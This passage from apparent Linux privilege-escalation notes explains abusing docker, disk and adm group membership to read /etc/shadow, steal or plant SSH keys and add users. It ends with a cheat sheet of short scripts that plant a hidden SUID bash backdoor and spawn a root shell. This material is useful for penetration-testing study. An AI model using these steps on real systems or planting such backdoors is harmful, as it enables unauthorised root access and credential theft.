This command creates a new Docker instance with the `/root` directory on the host file system mounted as a volume. Once the container is started we are able to browse to the mounted directory and retrieve or add SSH keys for the root user. This could be done for other directories such as `/etc` which could be used to retrieve the contents of the `/etc/shadow` file for offline password cracking or adding a privileged user.

### Disk

Users within the disk group have full access to any devices contained within `/dev`, such as `/dev/sda1`, which is typically the main device used by the operating system. An attacker with these privileges can use debugfs to access the entire file system with root level privileges. As with the Docker group example, this could be leveraged to retrieve SSH keys, credentials or to add a user.

### ADM

Members of the adm group are able to read all logs stored in `/var/log`. This does not directly grant root access, but could be leveraged to gather sensitive data stored in log files or enumerate user actions and running cron jobs.

# Exploit codes cheat sheet

- suid bash

```bash
#!/usr/bin/bash

mkdir /home/user/.myfolder
cp /usr/bin/bash /home/user/.myfolder/bash

chmod +s /home/user/.myfolder/bash
```

- shell as root

```bash
#!/usr/bin/bash

/usr/bin/bash
```